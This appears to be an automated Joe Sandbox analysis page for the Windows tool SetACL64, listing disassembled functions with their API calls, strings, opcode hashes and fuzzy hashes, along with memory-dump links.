Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$ErrorLastProcess$CloseCurrentHandleLookupOpenPrivilegeTokenValue
String ID: failed with: $ the privilege $Enabling$SetPrivilege
API String ID: 152255395-1151176482
Opcode ID: 98658c3223ea42c8e2fd826e98f666b88e57f772a3a703dd5e8032af214ad707
Instruction ID: b4388f663155be75bece0bb29e691e3ef76f1f1a1ce4b7c66d579c3a7e9c5b3d
Opcode Fuzzy Hash: 98658c3223ea42c8e2fd826e98f666b88e57f772a3a703dd5e8032af214ad707
Instruction Fuzzy Hash: 4CD18672B1474281FB00EF66E4443AD6761EB497B8FA14235DA5E13AEADFBCE190C310

Function 00007FF7C1757674 Relevance: 10.7, APIs: 7, Instructions: 171COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF7C1753E64: GetLastError.KERNEL32(?,?,?,00007FF7C17499DD), ref: 00007FF7C1753E73
Part of subcall function 00007FF7C1753E64: SetLastError.KERNEL32(?,?,?,00007FF7C17499DD), ref: 00007FF7C1753F11

EnumSystemLocalesW.KERNEL32(?,00000000,00000092,?,?,00000000,?,00007FF7C174966D), ref: 00007FF7C17577CB
GetUserDefaultLCID.KERNEL32(?,00000000,00000092,?), ref: 00007FF7C17577E4
ProcessCodePage.LIBCMT ref: 00007FF7C175780E
IsValidCodePage.KERNEL32 ref: 00007FF7C1757820
IsValidLocale.KERNEL32 ref: 00007FF7C1757836
GetLocaleInfoW.KERNEL32 ref: 00007FF7C1757892
GetLocaleInfoW.KERNEL32 ref: 00007FF7C17578AE

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: Locale$CodeErrorInfoLastPageValid$DefaultEnumLocalesProcessSystemUser
String ID:
API String ID: 3939093798-0
Opcode ID: c1a13ead2e16a132016a420d339e8d407b4230b911f8cc16b805d80e8827ded2
Instruction ID: 7c4c18335df79af66ffb0c1250ee8c4565d1f389cda378b66e83430f7be7d83e
Opcode Fuzzy Hash: c1a13ead2e16a132016a420d339e8d407b4230b911f8cc16b805d80e8827ded2
Instruction Fuzzy Hash: B7716B22F04A4289FB51EF66D4606BCA7A0BF4CB64FC44435CE1D57696EFBCA845C360

Function 00007FF7C1742E8C Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF7C1742EA8
RtlCaptureContext.NTDLL ref: 00007FF7C1742ED5
RtlLookupFunctionEntry.NTDLL ref: 00007FF7C1742EEF
RtlVirtualUnwind.NTDLL ref: 00007FF7C1742F30
IsDebuggerPresent.KERNEL32 ref: 00007FF7C1742F84
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF7C1742FA5
UnhandledExceptionFilter.KERNEL32 ref: 00007FF7C1742FB0

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: b089a036664126cd0b55730891b2820b0630cf2b127659524579cdc58d050a6c
Instruction ID: ce1df5b451c5d5f7f7adb6522fd240fb6ce0a18ad685d74dc21816fa9d229e63
Opcode Fuzzy Hash: b089a036664126cd0b55730891b2820b0630cf2b127659524579cdc58d050a6c
Instruction Fuzzy Hash: 34315372708B8185EB60DF62E8403EDB364FB89754F84443ADA4D47B96DF78D558CB20

Function 00007FF7C173F9C0 Relevance: 9.5, Strings: 7, Instructions: 710COMMON

Download Yara Rule

Strings

IIS AppPool, xrefs: 00007FF7C173FF70
NT AUTHORITY, xrefs: 00007FF7C173FA34
WINDOW MANAGER, xrefs: 00007FF7C17400C0
NT VIRTUAL MACHINE, xrefs: 00007FF7C173FE20
NT SERVICE, xrefs: 00007FF7C173FB82
Font Driver Host, xrefs: 00007FF7C1740210
APPLICATION PACKAGE AUTHORITY, xrefs: 00007FF7C173FCD0

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_Setgloballocalestd::locale::_
String ID: APPLICATION PACKAGE AUTHORITY$Font Driver Host$IIS AppPool$NT AUTHORITY$NT SERVICE$NT VIRTUAL MACHINE$WINDOW MANAGER
API String ID: 2016263034-1572346215
Opcode ID: 1fb07fcdeecce9f14301a7ac34e795235f9f09835de906e15c143d3a66afb55b
Instruction ID: 7c0341c2844c0523c06c25abbc3fe5d1cbaa2a1659eeb6f46299931a9c8c4e74
Opcode Fuzzy Hash: 1fb07fcdeecce9f14301a7ac34e795235f9f09835de906e15c143d3a66afb55b
Instruction Fuzzy Hash: 91527F26B05A0685EF14EF66D0581BDA7A0EB8DFD8B854436CE0E137A6EE7DD444C360

Function 00007FF7C175C76C Relevance: 9.3, APIs: 6, Instructions: 269COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C175C7B5

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: c7e3b804aa443ecddc5aa38c83e1479257d163bfb5c256670d9298fc1dc11c8a
Instruction ID: 54f2246d0455df1e844fcca89712d7b28e4d12443baa287020dab143d9b95e36
Opcode Fuzzy Hash: c7e3b804aa443ecddc5aa38c83e1479257d163bfb5c256670d9298fc1dc11c8a
Instruction Fuzzy Hash: 78A1E762B18A8581EB10EF6394102BAE7A4FB8CBF4F944136DE5D07B86DFBCE4458310

Function 00007FF7C17486C8 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 00007FF7C1748741
RtlLookupFunctionEntry.NTDLL ref: 00007FF7C1748759
RtlVirtualUnwind.NTDLL ref: 00007FF7C1748794
IsDebuggerPresent.KERNEL32 ref: 00007FF7C17487CD
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF7C17487D7
UnhandledExceptionFilter.KERNEL32 ref: 00007FF7C17487E2

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 0c75d53fa4f789302832d1f0c4a661b2f4dd75274d5b0a99b56319323675b894
Instruction ID: 489a32da95c599ce50c895f43708919a43809b7d5b4455c68631e09fda6baad2
Opcode Fuzzy Hash: 0c75d53fa4f789302832d1f0c4a661b2f4dd75274d5b0a99b56319323675b894
Instruction Fuzzy Hash: 62319132608B8186DB60DF66E8402AEB3A0FB8D764F940136EB8D43B96DF7CD555CB10

Function 00007FF7C1717580 Relevance: 7.8, APIs: 3, Strings: 1, Instructions: 826COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1717C93
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1717C9F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1717F7B

Part of subcall function 00007FF7C174E408: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7C174E437

Strings

%, xrefs: 00007FF7C1717FBC

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$_invalid_parameter_noinfo
String ID: %
API String ID: 1283921372-2567322570
Opcode ID: fe15a6ac4528cf41c533b560c1c99647058aec793d08cb73c2d8515a42d6291c
Instruction ID: d0c9efe17c2654536e28a57b5311861927bc00f6298c631ee5cdb35cfed95c33
Opcode Fuzzy Hash: fe15a6ac4528cf41c533b560c1c99647058aec793d08cb73c2d8515a42d6291c
Instruction Fuzzy Hash: 5772FF22B18A858AEB11DF6AD0403ADB3B1EB48B98FA54031DF4D57B9ADF7CD545C320

Function 00007FF7C173C250 Relevance: 7.8, APIs: 5, Instructions: 305COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e81314747b826c716fa44dea94a216081fde13e1c2a81abd4463a414bef4ca2a
Instruction ID: 24947e0bce3123c851c4d18bd8b7f53a84ef4d37f56ae465c1883175e7d575cb
Opcode Fuzzy Hash: e81314747b826c716fa44dea94a216081fde13e1c2a81abd4463a414bef4ca2a
Instruction Fuzzy Hash: 30B1A272A0874181EB14AF26E44436DB3A5EB5CBE8FD04136DB8C07A9ADFBCD591C750

Function 00007FF7C1714810 Relevance: 7.6, APIs: 5, Instructions: 105COMMON

Download Yara Rule

APIs

FindResourceW.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF7C171FCA1), ref: 00007FF7C1714859
LoadResource.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF7C171FCA1), ref: 00007FF7C171486D
LockResource.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF7C171FCA1), ref: 00007FF7C1714882
FreeResource.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF7C171FCA1), ref: 00007FF7C1714964

Part of subcall function 00007FF7C17149B0: VerQueryValueW.VERSION ref: 00007FF7C1714A5F

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C17149A5

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: Resource$FindFreeLoadLockQueryValue_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 678723381-0
Opcode ID: ccf424d7a3e64a52a3ff587554103de86ea84168affc70f79e39ce00dd8ec87e
Instruction ID: 198e129940faf41a43d76aa0e235e77ae99b113cc6548edbf98ed704ad1255fc
Opcode Fuzzy Hash: ccf424d7a3e64a52a3ff587554103de86ea84168affc70f79e39ce00dd8ec87e
Instruction Fuzzy Hash: 7641A822A1878181EB109F25E44436DB361EB89BF4F945234EB9E07BA6DF7CF190C710

Function 00007FF7C1757EB0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 35COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00007FF7C1757EE9
GetLocaleInfoW.KERNEL32(?,?,?,?,?,00007FF7C1749847), ref: 00007FF7C1757F17

Strings

GetLocaleInfoEx, xrefs: 00007FF7C1757EDD

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: InfoLocaletry_get_function
String ID: GetLocaleInfoEx
API String ID: 2200034068-2904428671
Opcode ID: 591c11f87c398ef623a2c4855596f7f13eeda1a7201aaa3cd71a990fcb1b3bf8
Instruction ID: e82ac975011b394a33a0b498356f93f87d4f5b09e22956d2cf96328c8bb3aee6
Opcode Fuzzy Hash: 591c11f87c398ef623a2c4855596f7f13eeda1a7201aaa3cd71a990fcb1b3bf8
Instruction Fuzzy Hash: 73016225B08B4282E701EF13E4404AAE761AF88BE0FD48436DE4C17B56CF7CD5418790

Function 00007FF7C174EA10 Relevance: 4.8, APIs: 3, Instructions: 317COMMON

Download Yara Rule

APIs

memcpy_s.LIBCPMT ref: 00007FF7C174EA76
memcpy_s.LIBCPMT ref: 00007FF7C174EAA1

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: memcpy_s
String ID:
API String ID: 1502251526-0
Opcode ID: e968225ff8479ec0e065da208cfe27b2d7ffdba7a15fb48c526d8961649b34dc
Instruction ID: 2b463269db531a66be71f71c00484431cd5a1b836e62d84ceb351598b965e05b
Opcode Fuzzy Hash: e968225ff8479ec0e065da208cfe27b2d7ffdba7a15fb48c526d8961649b34dc
Instruction Fuzzy Hash: ECC1C072B1829687EB34DF1AA144A6AF791FB887A4F84C138DB4A43745DE7CE841CF50

Function 00007FF7C175A31C Relevance: 3.2, APIs: 2, Instructions: 232COMMONLIBRARYCODE

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 00007FF7C175A56B
RaiseException.KERNEL32 ref: 00007FF7C175A57C

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: ExceptionRaise_clrfp
String ID:
API String ID: 15204871-0
Opcode ID: 0895176a6f24f428c0ae16b17dcf63319d29ac092c4d084468464062deae3fc8
Instruction ID: 3643b97f930188feaeb4de94ea52db056dc681a0475ccbe4a9936311f9d28c98
Opcode Fuzzy Hash: 0895176a6f24f428c0ae16b17dcf63319d29ac092c4d084468464062deae3fc8
Instruction Fuzzy Hash: 8AB17A73600B848BEB15CF2AC89636CBBA0F788B98F558831DA5D877A5CB79D851C710

Function 00007FF7C174F394 Relevance: 1.9, APIs: 1, Instructions: 371COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32 ref: 00007FF7C174F4DC

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-0
Opcode ID: 792fdeddd26baa4f880f1e9171fac507b88ae362b99da9cf721e5e6e0f82d93c
Instruction ID: 3ca8fe6273bc5b270f6d5e18e428b87fd58ea5843ec0d65e37cdc2235c38d75d
Opcode Fuzzy Hash: 792fdeddd26baa4f880f1e9171fac507b88ae362b99da9cf721e5e6e0f82d93c
Instruction Fuzzy Hash: B512DB22A08BC186E752DF3994542FDB3A4FB5C758F858235EB9C86693EF78E184C710

Function 00007FF7C1754218 Relevance: 1.8, APIs: 1, Instructions: 336COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e74242c9a7abf6f32fc219a05861dfe70c98d66e5ae6c6018350fa30fc1cf71a
Instruction ID: f8c980b2087ec70e17a7d0d06635fb1be8bf8765c046247415a12b55988becb9
Opcode Fuzzy Hash: e74242c9a7abf6f32fc219a05861dfe70c98d66e5ae6c6018350fa30fc1cf71a
Instruction Fuzzy Hash: DDE16D32A08F8185E710EB62E4506FA77A4FB98798F814A32DF5D57782EF78D254D310

Function 00007FF7C1763C64 Relevance: 1.7, APIs: 1, Instructions: 195COMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF7C1763CC8

Part of subcall function 00007FF7C17531D4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7C17531E8

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo
String ID:
API String ID: 474895018-0
Opcode ID: 42818a656ba6ab8851ffb2ca6ee8ba788b28637204efe2d9c2507415ecd12c88
Instruction ID: 151533c849b805aa05d5c09372cd7c9cbd4aaec881863b9ee8b258daf93c522e
Opcode Fuzzy Hash: 42818a656ba6ab8851ffb2ca6ee8ba788b28637204efe2d9c2507415ecd12c88
Instruction Fuzzy Hash: A371C632B0858245F7646E2B8840679E291AF5D370F948635DA6D86ED7DFBDE840C730

Function 00007FF7C1757340 Relevance: 1.6, APIs: 1, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C1753E64: GetLastError.KERNEL32(?,?,?,00007FF7C17499DD), ref: 00007FF7C1753E73
Part of subcall function 00007FF7C1753E64: SetLastError.KERNEL32(?,?,?,00007FF7C17499DD), ref: 00007FF7C1753F11

GetLocaleInfoW.KERNEL32 ref: 00007FF7C17573A8

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 95196c644f9699b70877d59c2ca76c71c45bc80ef89ac16a2cac59d7183ffe7d
Instruction ID: 94e2274e6ee6a5657ffd8af7512a3b4f0c56314a19a6562fc8334312fd9a77c0
Opcode Fuzzy Hash: 95196c644f9699b70877d59c2ca76c71c45bc80ef89ac16a2cac59d7183ffe7d
Instruction Fuzzy Hash: 46318231A08A8286EB24EF27E4513ADB7A1FB4C794FD08135DA5D83697DFBCE4118750

Function 00007FF7C1757548 Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C1753E64: GetLastError.KERNEL32(?,?,?,00007FF7C17499DD), ref: 00007FF7C1753E73
Part of subcall function 00007FF7C1753E64: SetLastError.KERNEL32(?,?,?,00007FF7C17499DD), ref: 00007FF7C1753F11

GetLocaleInfoW.KERNEL32(?,?,?,00007FF7C17572F1), ref: 00007FF7C175757F

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 49da2eb39f98338b10d953fea960edfff0511e9b01e2e80171c98adcd5d1bcf9
Instruction ID: 5ba7b1983dbe4939bcd9376003d30c314d64ac74b82118ffda09b334980765a0
Opcode Fuzzy Hash: 49da2eb39f98338b10d953fea960edfff0511e9b01e2e80171c98adcd5d1bcf9
Instruction Fuzzy Hash: E7110A32A1C9D682E764EF139060679A2A1EB48778FE44135DB2E076C6DE7DD881C750

Function 00007FF7C175791C Relevance: 1.5, APIs: 1, Instructions: 32COMMONLIBRARYCODE

Download Yara Rule

APIs

EnumSystemLocalesW.KERNEL32(?,?,00000000,00007FF7C1757D71,?,?,?,?,?,?,?,?,00000000,00007FF7C17565D8), ref: 00007FF7C175796B

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
